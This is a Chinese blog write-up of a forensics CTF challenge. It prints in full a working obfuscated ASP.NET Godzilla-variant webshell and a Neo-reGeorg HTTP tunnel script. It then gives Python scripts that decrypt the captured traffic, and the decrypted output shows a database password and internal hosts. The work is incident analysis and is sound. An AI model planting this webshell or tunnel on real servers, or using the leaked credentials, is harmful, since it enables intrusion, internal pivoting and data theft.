小伙伴给了两道ctf说帮忙看看,感觉挺有意思的,这里简单记录一下。

谁知盘中餐

开局给到一个三个文件

image-20251204101352261

image-20251204101415917

csv不知道是什么设备导出的流量,两个文件,一个是木马一个是http隧道,Neo-reGeorg的,

先来看木马

1
<%Type cT = Context.GetType();PropertyInfo rP = cT.GetProperty(GetStr(0));string rT = (string)rP.GetValue(Context, null).GetType().GetProperty(GetStr(1)).GetValue(rP.GetValue(Context,null),null);if (rT.Equals(GetStr(2))){try {string key=GetStr(3);string initVector=GetStr(4);object reqst=rP.GetValue(Context, null);PropertyInfo itemProperty=reqst.GetType().GetProperty(GetStr(5));string sdata=(string)itemProperty.GetValue(reqst,new object[]{GetStr(6)});string sdatac=(string)itemProperty.GetValue(reqst,new object[]{"flag"});if(sdatac != null &&sdatac.Contains("tungtungtungsahur")){Context.Application["sfavlaunch"] = null;Context.Response.Write("OK");return;}byte[] data=RD(sdata);data=new RijndaelManaged().CreateDecryptor(Encoding.Default.GetBytes(key),Encoding.Default.GetBytes(initVector)).TransformFinalBlock(data,0,data.Length);if(Context.Application["sfavlaunch"] == null) {MethodInfo methodInfo = typeof(Assembly).GetMethod(GetStr(7), new System.Type[] { typeof(byte[]) });object result = methodInfo.Invoke(null, new object[] { data });Assembly assembly = (Assembly)result;Context.Application["sfavlaunch"] = assembly;}else{System.IO.MemoryStream outStream =new System.IO.MemoryStream();Assembly a=(Assembly)Context.Application["sfavlaunch"];object o=a.CreateInstance(GetStr(8));o.Equals(outStream);o.Equals(data);o.ToString();byte[] r=outStream.ToArray();string sign=RE(new RijndaelManaged().CreateEncryptor(Encoding.Default.GetBytes(key),Encoding.Default.GetBytes(initVector)).TransformFinalBlock(r, 0, r.Length));Context.Response.Write("{\"msg\":\""+sign+"\"}");}}catch(System.Exception){Context.Response.Write("{\"Error\":\"Password Error\"}}");}}else{Context.Response.Write("{\"Error\":\"Unauthorized\"}}");}%><script runat="server">public static string RE(byte[] bytes) {byte[] tmp = bytes;int num = 1;if (bytes.Length > 512000) {num = 1;} else {Random rnd = new Random();num = rnd.Next(2, 10);}for (int i = 0; i < num; i++) {tmp = Encoding.UTF8.GetBytes("sign:" + Reverse(B64e(tmp)));}tmp = Encoding.UTF8.GetBytes(B64e(tmp));return Encoding.UTF8.GetString(tmp);}public static byte[] RD(string str) {byte[] tmp = B64d(str);while (Encoding.UTF8.GetString(tmp).StartsWith("sign:")) {tmp = B64d(Reverse(Encoding.UTF8.GetString(tmp).Substring(5)));}return tmp;}public static string B64e(byte[] byteArray) {Type convertType = typeof(Convert);MethodInfo tBSM = convertType.GetMethod(GetStr(9), new Type[] { typeof(byte[]) });string base64String = (string)tBSM.Invoke(null, new object[] { byteArray });return base64String;}public static byte[] B64d(string bs) {Type convertType = typeof(Convert);MethodInfo fBSM = convertType.GetMethod(GetStr(10), new Type[] { typeof(string) });byte[] byteArray = (byte[])fBSM.Invoke(null, new object[] { bs });return byteArray;}public static string Reverse(string s) {char[] charArray = s.ToCharArray();Array.Reverse(charArray);return new string(charArray);}public static String GetStr(int x) {String[] xs = new String[]{"Uhtxhvw", "UhtxhvwWbsh", "SRVW", "79ehf9e8470119i5", "9220gf6228514959", "Lwhp", "orjlqFd", "Ordg", "OB", "WrEdvh64Vwulqj", "IurpEdvh64Vwulqj"};return kdecrypt(xs[x], 3);}public static  String kencrypt(string text, int shift){return ProcessText(text, shift);}public static String  kdecrypt(string text, int shift){return ProcessText(text, 26 - shift);}private static string ProcessText(string text, int shift){char[] buffer = text.ToCharArray();for (int i = 0; i < buffer.Length; i++){char letter = buffer[i];if (char.IsLetter(letter)){char baseChar = char.IsLower(letter) ? 'a' : 'A';letter = (char)((letter - baseChar + shift) % 26 + baseChar);}buffer[i] = letter;}return new string(buffer);}</script><%@Language=cs%><%@Import Namespace="System.Reflection"%><%@Import Namespace="System.Text"%><%@Import Namespace="System.Security.Cryptography"%>

这个木马看起来很乱,其实核心功能就两个点,有小伙伴在打战的时候应该见过这个🐎,这是一个二开的哥斯拉的🐎,但是应该不是什么公开版本,应该是小圈子在使用,image-20251204102102095

如果你在打战的时候或者应急的时候,直接访问这个马,见到{"Error":"Unauthorized"}}说明是这个了。好的,此时我们来分析木马。

这个马看起来很长,其实都是 假的,核心在<script 中,上面都是混淆,数组取字符串啥的。image-20251204102523144

扣除了之后是image-20251204102809844

大概这个样子,这里 ,多看webshell的同学应该能想到,其中这两个数字应该是key,iv,是的,但是并不是完全对,我们看GetStr 函数 最后return是,调用的kdecrypt函数,传了两个参数一个xs[x],一个3,先看前面这个xs的x 也就是这个数组的3 x是多少呢 image-20251204103645575

所有的代码中,可以看到string key=GetStr(3);stringinitVector=GetStr(4); key为3 iv为4,”79ehf9e8470119i5”, “9220gf6228514959”,这俩就是,在看image-20251204105152693

decrypt函数输调用了 ProcessText函数,ProcessText是凯撒,也就是偏移3,也就是说将”79ehf9e8470119i5”, “9220gf6228514959”-3即可,凯撒只减字母,不减数字, key = b'79bec9b8470119f5,iv = b'9220dc6228514959'

接下来看马工作流程image-20251204111818799

这里最后调用re函数,进行aes加密,re函数 就是 image-20251204111858032

简单来说就是 ,如果传的>512000就不在循环,应该怕传输数据太多了,否则就进行循环并字符串反转,啥意思呢,拿个代码来解释,原始数据

AuthType=apiLogin&name=sysadmin&loginCa=c2lnbjo9TW1NczVtWXE5V01YVlVNdlJXVjVnM1ZyUkdlWGhsU0lObVZHSjBUVmxqU1hoa1ZDWmxhU1ZVVEk1a1ZVMUdkb05HTXgwMFN3UTJVT3RHYkxSbE0xQW5UNnAwTVBaRmJ4d2tlR056WXIxa01PcEdieFJtUkN4bVlIeG1XWGRFWng4RVZLTlhVcUoxU2hoa1N4bDFWS2xIWlZobVRrQmpVNXhrZWtCbFVWWlZTT3BuUXUxVVIxUWxWcTVrVmxwbVNWTjFST2hVWXJKMVNTUmxTaFJWVkdCMVVXbFVlaFZWVzVWMVU1c1dZeEkwVlJKVFV5SW1hRk5EWkd4MmJUQmpTd1VGVnNwRlpWQjNkVEJUVjFVRlZCSmpXR3BrVmtSMGF3UTFVMEZHVnJOWE1UVkVkelVHU29aVlpIaFRla2RsVlkxRVdPRmxVWEZqUU5OalF4TWxWV1pWVVhGelROVjFiOW9qYm5sMmM=

只要logincaimage-20251204112539984

明显base64 反转了,就按这个一直反转image-20251204112623119

一直接解 image-20251204113003502

代码中是,有sign就一直解,最后一次解aes。image-20251204113744556

后面还有一个gunzip。就可以解出来了,这里简单写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

import base64
import gzip
from io import BytesIO
from Crypto.Cipher import AES

def decrypt(encoded: str) -> bytes:
"""
还原 C# RD() 逻辑:
Base64 → sign: 循环解包 → reverse → Base64 ……
"""
tmp = base64.b64decode(encoded)

while True:
s = tmp.decode("utf-8", errors="ignore")
if not s.startswith("sign:"):
break

inner = s[5:] # 去 sign:
inner = inner[::-1] # reverse
tmp = base64.b64decode(inner)
#print("sign 解包中: ", tmp)

return tmp


def decrypt_and_gunzip(cipher_raw: bytes, key: bytes, iv: bytes) -> bytes:
"""
AES-128-CBC 解密 + 去 padding + gunzip
"""

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(cipher_raw)

# Remove PKCS7 padding
pad = plaintext[-1]
plaintext = plaintext[:-pad]

# Gunzip
buf = BytesIO(plaintext)
decompressed = gzip.GzipFile(fileobj=buf).read()

return decompressed



# ======================
# Main
# ======================
if __name__ == "__main__":
ciphertext = "c2lnbjo9TW1NczVtWXE5V01YVlVNdlJXVjVnM1ZyUkdlWGhsU0lObVZHSjBUVmxqU1hoa1ZDWmxhU1ZVVEk1a1ZVMUdkb05HTXgwMFN3UTJVT3RHYkxSbE0xQW5UNnAwTVBaRmJ4d2tlR056WXIxa01PcEdieFJtUkN4bVlIeG1XWGRFWng4RVZLTlhVcUoxU2hoa1N4bDFWS2xIWlZobVRrQmpVNXhrZWtCbFVWWlZTT3BuUXUxVVIxUWxWcTVrVmxwbVNWTjFST2hVWXJKMVNTUmxTaFJWVkdCMVVXbFVlaFZWVzVWMVU1c1dZeEkwVlJKVFV5SW1hRk5EWkd4MmJUQmpTd1VGVnNwRlpWQjNkVEJUVjFVRlZCSmpXR3BrVmtSMGF3UTFVMEZHVnJOWE1UVkVkelVHU29aVlpIaFRla2RsVlkxRVdPRmxVWEZqUU5OalF4TWxWV1pWVVhGelROVjFiOW9qYm5sMmM="
key = b'79bec9b8470119f5'
iv = b'9220dc6228514959'

# sign: 解包
stage1 = decrypt(ciphertext)
# print("sign 解包结果:", stage1)

# AES + gunzip
final = decrypt_and_gunzip(stage1, key, iv)
print("最终解密结果:\n", final.decode(errors="ignore"))

#dbUsernamedishexecSql&SELECT * FROM `dish`.`card` LIMIT 0,10dbTypemysqlmethodNameexecSqldbCharsetUTF-8sessionIdbf405e2fd97cddd3execTyp
selectconnectStringFserver=127.0.0.1;port=3301;uid=dish;pwd=Sovell$))!79959;database=dish;dbPasswordSovell$))!79959dbDriver&MySql.Data.MySqlCl
ient.MySqlConnection

image-20251204113930654

这样就方便了一些。这里不太清楚题目是啥,ip 端口 账号密码已经得到,大概这些吧。继续往下分析。

给了一个代理的文件,是http的隧道,Neo-reGeorg的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
<%@ Page Language="C#" EnableSessionState="True"%>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Collections" %>
<script runat="server">
private static char[] constant =
{
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
};
static String en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static String de = "o5n/OZUfAMhHmcyXK9wD1uvgdEQ64sBGlbTxqLRC2+YJk3zj8trWNVIiSe7pFPa0";

public static String StrTr(string input, string frm, string to) {
String r = "";
for(int i=0; i< input.Length; i++) {
int index = frm.IndexOf(input[i]);
if(index != -1)
r += to[index];
else
r += input[i];
}
return r;
}

public static Object[] blv_decode(byte[] data) {
Object[] info = new Object[40];

int i = 0;
int data_len = data.Length;
int b;
byte[] length = new byte[4];

MemoryStream dataInput = new MemoryStream(data);

while ( i < data_len ) {
b = dataInput.ReadByte();
dataInput.Read(length, 0, length.Length);
int l = bytesToInt(length) - 257191907;
byte[] v = new byte[l];
dataInput.Read(v, 0, v.Length);
i += ( 5 + l );
if ( b > 1 && b <= 9 ) {
info[b] = Encoding.Default.GetString(v);
} else {
info[b] = v;
}
}

return info;
}

public static byte[] blv_encode(Object[] info) {
Random r = new Random();
info[0] = randBytes(r, 20, 256);
info[39] = randBytes(r, 20, 256);
MemoryStream buf = new MemoryStream();
for (int b = 0; b < info.Length; b++) {
if ( info[b] != null ) {
Object o = info[b];
byte[] v;
if ( o is String ){
v = Encoding.Default.GetBytes( (String) o );
} else {
v = (byte[]) o;
}
buf.WriteByte((byte) b);
try {
byte[] l = intToBytes(v.Length + 257191907);
buf.Write(l, 0, l.Length);
buf.Write(v, 0, v.Length);
}catch(Exception e) {
}
}
}
return buf.ToArray();
}
public static byte[] randBytes(Random r, int min, int max) {
int len = r.Next(min, max);
byte[] randbytes = new byte[len];
r.NextBytes(randbytes);
return randbytes;
}

public static int bytesToInt(byte[] bytes) {
int i;
i = ( bytes[3] & 0xff )
| (( bytes[2] & 0xff ) << 8 )
| (( bytes[1] & 0xff ) << 16)
| (( bytes[0] & 0xff ) << 24);
return i;
}

public static byte[] intToBytes(int value) {
byte[] src = new byte[4];
src[3] = (byte) (value & 0xFF);
src[2] = (byte) ((value >> 8) & 0xFF);
src[1] = (byte) ((value >> 16) & 0xFF);
src[0] = (byte) ((value >> 24) & 0xFF);
return src;
}
public static String padding(String input){
int a = input.Length % 4;
if (a != 0)
{
StringBuilder inputBuilder = new StringBuilder(input);
for (int i = 0; i < 4 - a; i++)
{
inputBuilder.Append("=");
}
input = inputBuilder.ToString();
}
return input;
}
public static byte[] FromBase64String(string b64Str) {
b64Str = b64Str.Substring(1).Replace(",", "+").Replace(".", "/").Replace("}", "=");
b64Str = padding(b64Str);
b64Str = StrTr(b64Str, de, en);
return Convert.FromBase64String(b64Str);
}
public static string ToBase64String(byte[] data) {
string b64Str = Convert.ToBase64String(data);
b64Str = StrTr(b64Str, en, de);
b64Str = b64Str.TrimEnd(new char[1]{'='});
b64Str = GenerateRandomNumber(1) + b64Str.Replace("+", ",").Replace("/", ".").Replace("=", "}");
return b64Str;
}


public static string GenerateRandomNumber(int Length)
{
System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62);
Random rd = new Random();
for (int i = 0; i < Length; i++)
{
newRandom.Append(constant[rd.Next(62)]);
}
return newRandom.ToString();
}
</script>
<%
int DATA = 1;
int CMD = 2;
int MARK = 3;
int STATUS = 4;
int ERROR = 5;
int IP = 6;
int PORT = 7;
int REDIRECTURL = 8;
int FORCEREDIRECT = 9;

String GeorgHello = "eMnKqMfb3cv,EvxK8EIqzyUc1QntO9CEMvqOiuRcbDCsJEC5CBUtu6i2e6.s8mRb.4ZMiwZ5KcI,S6ZEi6fqSMnKqMo";

Object[] info = new Object[40];
Object[] rinfo = new Object[40];
if (Request.ContentLength != -1 && Request.ContentLength != 0) {
byte[] buff = new byte[Request.ContentLength];
Request.InputStream.Read(buff, 0, buff.Length);
string b64 = Encoding.Default.GetString(buff);
byte[] data = FromBase64String(b64);
info = blv_decode(data);
}

String rUrl = (String) info[REDIRECTURL];
if (rUrl != null){
Uri u = new Uri(rUrl);
WebRequest request = WebRequest.Create(u);
request.Method = Request.HttpMethod;
foreach (string key in Request.Headers)
{
try{
request.Headers.Add(key, Request.Headers.Get(key));
} catch (Exception e){}
}
try{
Stream body = request.GetRequestStream();
info[REDIRECTURL] = null;
byte[] data = Encoding.Default.GetBytes(ToBase64String(blv_encode(info)));
body.Write(data, 0, data.Length);
body.Close();
} catch (Exception e){}

HttpWebResponse response = (HttpWebResponse)request.GetResponse();
WebHeaderCollection webHeader = response.Headers;
for (int i=0;i < webHeader.Count; i++)
{
string rkey = webHeader.GetKey(i);
if (rkey != "Content-Length" && rkey != "Transfer-Encoding")
Response.AddHeader(rkey, webHeader[i]);
}
StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
string rbody = repBody.ReadToEnd();
Response.AddHeader("Content-Length", rbody.Length.ToString());
Response.Write(rbody);
return;
}
Response.StatusCode = 200;
String cmd = (String) info[CMD];
if (cmd != null) {
String mark = (String) info[MARK];
if (cmd == "CONNECT") {
try {
String target = (String) info[IP];
int port = int.Parse((String) info[PORT]);
IPAddress ip;
try {
ip = IPAddress.Parse(target);
} catch (Exception ex) {
IPHostEntry host = Dns.GetHostByName(target);
ip = host.AddressList[0];
}
System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

// set the connect timeout to 2 seconds, default 20 seconds
IAsyncResult result = sender.BeginConnect(remoteEP,null,null);
bool success = result.AsyncWaitHandle.WaitOne( 2000, true );

if ( sender.Connected ) {
sender.Blocking = false;
Application.Add(mark, sender);
rinfo[STATUS] = "OK";
} else {
sender.Close();
rinfo[STATUS] = "FAIL";
if ( success ) {
rinfo[ERROR] = "Port close";
} else {
rinfo[ERROR] = "Port filtered";
}
}
} catch (Exception ex) {
rinfo[STATUS] = "FAIL";
rinfo[ERROR] = ex.Message;
}
} else if (cmd == "DISCONNECT") {
try {
Socket s = (Socket)Application[mark];
s.Close();
} catch (Exception ex){
}
Application.Remove(mark);
} else if (cmd == "FORWARD") {
Socket s = (Socket)Application[mark];
try {
s.Send((byte[]) info[DATA]);
rinfo[STATUS] = "OK";
} catch (Exception ex) {
rinfo[STATUS] = "FAIL";
rinfo[ERROR] = ex.Message;
}
} else if (cmd == "READ") {
try {
Socket s = (Socket)Application[mark];
int maxRead = 524288;
int readbuflen = 513;
int readLen = 0;
byte[] readBuff = new byte[readbuflen];
MemoryStream readData = new MemoryStream();
try {
int c = s.Receive(readBuff);
while (c > 0) {
byte[] newBuff = new byte[c];
System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c);
string b64 = ToBase64String(newBuff);
readData.Write(newBuff, 0, c);
readLen += c;
if (c < readbuflen || readLen >= maxRead)
break;
c = s.Receive(readBuff);
}
rinfo[DATA] = readData.ToArray();
rinfo[STATUS] = "OK";
} catch (SocketException ex) {
rinfo[STATUS] = "OK";
}
} catch (Exception ex) {
rinfo[STATUS] = "FAIL";
rinfo[ERROR] = ex.Message;
}
}
Response.Write(ToBase64String(blv_encode(rinfo)));
} else {
Response.Write(Encoding.Default.GetString(FromBase64String(GeorgHello)));
}
%>

流量只有一条,我们来看下其中做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
发送:PooP14Atcdv3WDZuWyfM9sIVuBfET4uOrDu9rcRti1f2W4fuYsgb86W98uREEvUVtQU9DdqANBZ9n1uLimNONwNmemOdIEC2r1q,MsW5Dvg,imIqScfLbwxLwcCLtKu,H4.s8vOZM4.Ki4g5mKxK8DV2rd1tYKLE5mNsAdum8sqMSDvcAmqZLcgcTcuZZwOZ7mWqesibfcvMT1uZbciMDsL5kwC9uBucX9OMxvqc.olP16a,.DNey91c1o8P160ON6weXsUVO41e3uIKWd8dXuU08mDozmDKSHxAVcnStc84XuU0CcxO8mn4Xufnr9DLNwqmNsR,SKi,kdR,Q6vegQqFVD19U4qP3duE54W5msZoiwV9i61,36qcZug,m4.L9KucnwVsgvZsDQNetuCMj1Lo8v1V5KVL14WbImvtD9CZS41VywVA8sRsydRcxDZ5xB1cb9.L8cRLysNu7ExbbmRVOs1mi6fLuwVbw6ZoVvLcn9fuTyuMeQDmeuxKVB.cwQvk8wIeJ1usZsZcucVKiEV4S1RPQ4qbRcfurdDE7Qq,mvvtymusDDNVn9L9MwOeq1fMb9Csfmiuw9UER

返回:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Tue, 01 Jul 2025 02:19:40 GMT
Connection: close
Content-Length: 393

vooP14US1yJGbFJVo05Jlw.Zy5Od9Ij7ct4EllCotki0tQ9gpJOm7Jyp3W.8jfXeWHY.YDZbaUJX,3UpF3Hbfk.SaDeAOeMjzZZsdA8ingYxfpZXX9R4R4qPTOjxuXG4V,bWPFmVJ6NqO0.4oMjQLMVgZcmbqBUCgZPt.23UxUcEGACittUi6viNhrqqjMqtd5oP16auXwr4Xuf5377AXnn09H6ALIGoCWfbbeUUloiRWdzGYI13QJ9a2Fd0JeydonmN81OFaCeDYmpn9Qvgyb1xBndTpMn0xsSnwGyblXyT9dczD4Hm,smcD07v6rOyeIR3f.c,B9ByBDsCXJnhJTjGfooThybvu3EgOErvhwhSFIhMFUwFcmtjiPnHEvkTbYfv3NF47

乍一看不是base64 其实就是base64 image-20251204175432544

在代理中的代码将+ / = 替换了。然后 base64 换表image-20251204175603397

image-20251204175849777

这样就解出来流量了,立体一点,脚本image-20251204180050234

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import base64

# 标准 Base64 表
en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 自定义 Base64 表(你的 de 表)
de = "o5n/OZUfAMhHmcyXK9wD1uvgdEQ64sBGlbTxqLRC2+YJk3zj8trWNVIiSe7pFPa0"

def decode_custom_base64(s):
# 去掉首字符
s = s[1:]

# 字符替换:混淆 → 原始 Base64 字符
s = s.replace(",", "+").replace(".", "/").replace("}", "=")
# print(s)
# 替换表解码:自定义Base64 → 标准Base64
normal = []
for ch in s:
if ch == "=": # padding
normal.append("=")
else:
idx = de.index(ch)
normal.append(en[idx])

normal_b64 = "".join(normal)
# print(normal_b64)
# Base64 解码
return base64.b64decode(normal_b64)


# ---------- 解码你的 GeorgHello ----------
cipher = "PooP14Atcdv3WDZuWyfM9sIVuBfET4uOrDu9rcRti1f2W4fuYsgb86W98uREEvUVtQU9DdqANBZ9n1uLimNONwNmemOdIEC2r1q,MsW5Dvg,imIqScfLbwxLwcCLtKu,H4.s8vOZM4.Ki4g5mKxK8DV2rd1tYKLE5mNsAdum8sqMSDvcAmqZLcgcTcuZZwOZ7mWqesibfcvMT1uZbciMDsL5kwC9uBucX9OMxvqc.olP16a,.DNey91c1o8P160ON6weXsUVO41e3uIKWd8dXuU08mDozmDKSHxAVcnStc84XuU0CcxO8mn4Xufnr9DLNwqmNsR,SKi,kdR,Q6vegQqFVD19U4qP3duE54W5msZoiwV9i61,36qcZug,m4.L9KucnwVsgvZsDQNetuCMj1Lo8v1V5KVL14WbImvtD9CZS41VywVA8sRsydRcxDZ5xB1cb9.L8cRLysNu7ExbbmRVOs1mi6fLuwVbw6ZoVvLcn9fuTyuMeQDmeuxKVB.cwQvk8wIeJ1usZsZcucVKiEV4S1RPQ4qbRcfurdDE7Qq,mvvtymusDDNVn9L9MwOeq1fMb9Csfmiuw9UER"
#cipher = "vooP14US1yJGbFJVo05Jlw.Zy5Od9Ij7ct4EllCotki0tQ9gpJOm7Jyp3W.8jfXeWHY.YDZbaUJX,3UpF3Hbfk.SaDeAOeMjzZZsdA8ingYxfpZXX9R4R4qPTOjxuXG4V,bWPFmVJ6NqO0.4oMjQLMVgZcmbqBUCgZPt.23UxUcEGACittUi6viNhrqqjMqtd5oP16auXwr4Xuf5377AXnn09H6ALIGoCWfbbeUUloiRWdzGYI13QJ9a2Fd0JeydonmN81OFaCeDYmpn9Qvgyb1xBndTpMn0xsSnwGyblXyT9dczD4Hm,smcD07v6rOyeIR3f.c,B9ByBDsCXJnhJTjGfooThybvu3EgOErvhwhSFIhMFUwFcmtjiPnHEvkTbYfv3NF47"
raw = decode_custom_base64(cipher)
import struct

def blv_decode(data: bytes):
info = [None] * 40

i = 0
data_len = len(data)

ptr = 0
while ptr < data_len:
b = data[ptr]
ptr += 1

# 读取 4 字节长度
l_bytes = data[ptr:ptr+4]
ptr += 4

# 大端整数
l = struct.unpack(">I", l_bytes)[0] - 257191907

# 内容
v = data[ptr:ptr+l]
ptr += l

i += (5 + l)

# Java: if ( b > 1 && b <= 9 ) → 当 b=2~9 时解码为字符串
if 1 < b <= 9:
info[b] = v.decode(errors="ignore")
else:
info[b] = v

return info


# -----------------------------------------------------
# 解码你的数据
# -----------------------------------------------------


info = blv_decode(raw)

for idx, value in enumerate(info):
if value is not None:
print(f"[{idx}] {value}")

#print("解码结果:", plain)

[0] b'MaksLUs8rQwmUxvbqQ2MTr6lwPz3pujuxpo4pVfYXmqhdSbB4xTBQYw3A4KC90F6fz2RJIw0SYzw3i84yaJ9R6yqAZKp7pXAIp47qpLB40OZ2aLjBVA3GHaS0vBxMcH2Ae5sb5QEHAz399wxG5bbQQa7rSvPlJtUySODBcZCC'
[2] CONNECT
[3] 4m.OtmDqNmWd3c
[6] 10.148.254.17
[7] 6100
[39] b'E9tJC4vjxCzlbjZmnWjO5MDFrOmaVAs0LtP7KTwmJmnCEUzLp9QASBKWWXWSkNqVroRP0YMACYTs8v1lSFqxqMNKR0vgNbccLPcyCaD9p6iNwEzf8a2mDuC7lyUKXRlP5ZSBDub9Ryi39V45x3Rik0KnkQWEtSU7T7gW8RoZrHf4ura6zjJLYlN1WSOMBFTIHNdPraFwG3uRDff'

image-20251204180217568

小伙伴说,他也不记得这个问题问的啥了,有小伙伴知道的,告诉弟弟一下。这里没有解密[0] 和[39] 题目中应该不涉及,还有就是regeorg没有给key,后面在仔细分析,做题够用了。

最后一问是木马的路径,image-20251204180506187

最后一个包输木马的,看下传递信息,

c2lnbjo9TW1NczVtWXE5V01YVlVNdlJXVjVnM1ZyUkdlWGhsU0lObVZHSjBUVmxqU1hoa1ZDWmxhU1ZVVEk1a1ZVMUdkb05HTXgwMFN3UTJVT3RHYkxSbE0xQW5UNnAwTVBaRmJ4d2tlR056WXIxa01PcEdieFJtUkN4bVlIeG1XWGRFWng4RVZLTlhVcUoxU2hoa1N4bDFWS2xIWlZobVRrQmpVNXhrZWtCbFVWWlZTT3BuUXUxVVIxUWxWcTVrVmxwbVNWTjFST2hVWXJKMVNTUmxTaFJWVkdCMVVXbFVlaFZWVzVWMVU1c1dZeEkwVlJKVFV5SW1hRk5EWkd4MmJUQmpTd1VGVnNwRlpWQjNkVEJUVjFVRlZCSmpXR3BrVmtSMGF3UTFVMEZHVnJOWE1UVkVkelVHU29aVlpIaFRla2RsVlkxRVdPRmxVWEZqUU5OalF4TWxWV1pWVVhGelROVjFiOW9qYm5sMmM

image-20251204181024638

这里你会发现 1111.xls.aspx 和Template.aspx 的key和iv是相同的,那么说明应该是一个文件,而且这个操作是copy文件destFileName*D:/sovell2/api/ExcelTemplate/Template.aspxmethodNamemoveFilesessionId99eb31ed466a5e42srcFileName*D:/sovell2/api/ExcelTemplate/11 11.xls.aspximage-20251204181310605

这里就把题目中涉及到的问题都分析了,小伙伴说不记得大概题目是啥了,有知道的小伙伴告知一下。
这里又一次见到了这个木马,说明实战中还是挺多人用的,特征还是 上面提到的image-20251204102102095

访问显示 {"Error":"Unauthorized"}}

什么,你说想研究一下,附件已当到我的博客,直接访问下载,https://bohemian.top/images/谁知盘中餐.zip

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错,帮笔者点给公众号点点关注,先谢谢大家了。

emmm 太菜了
一直在路上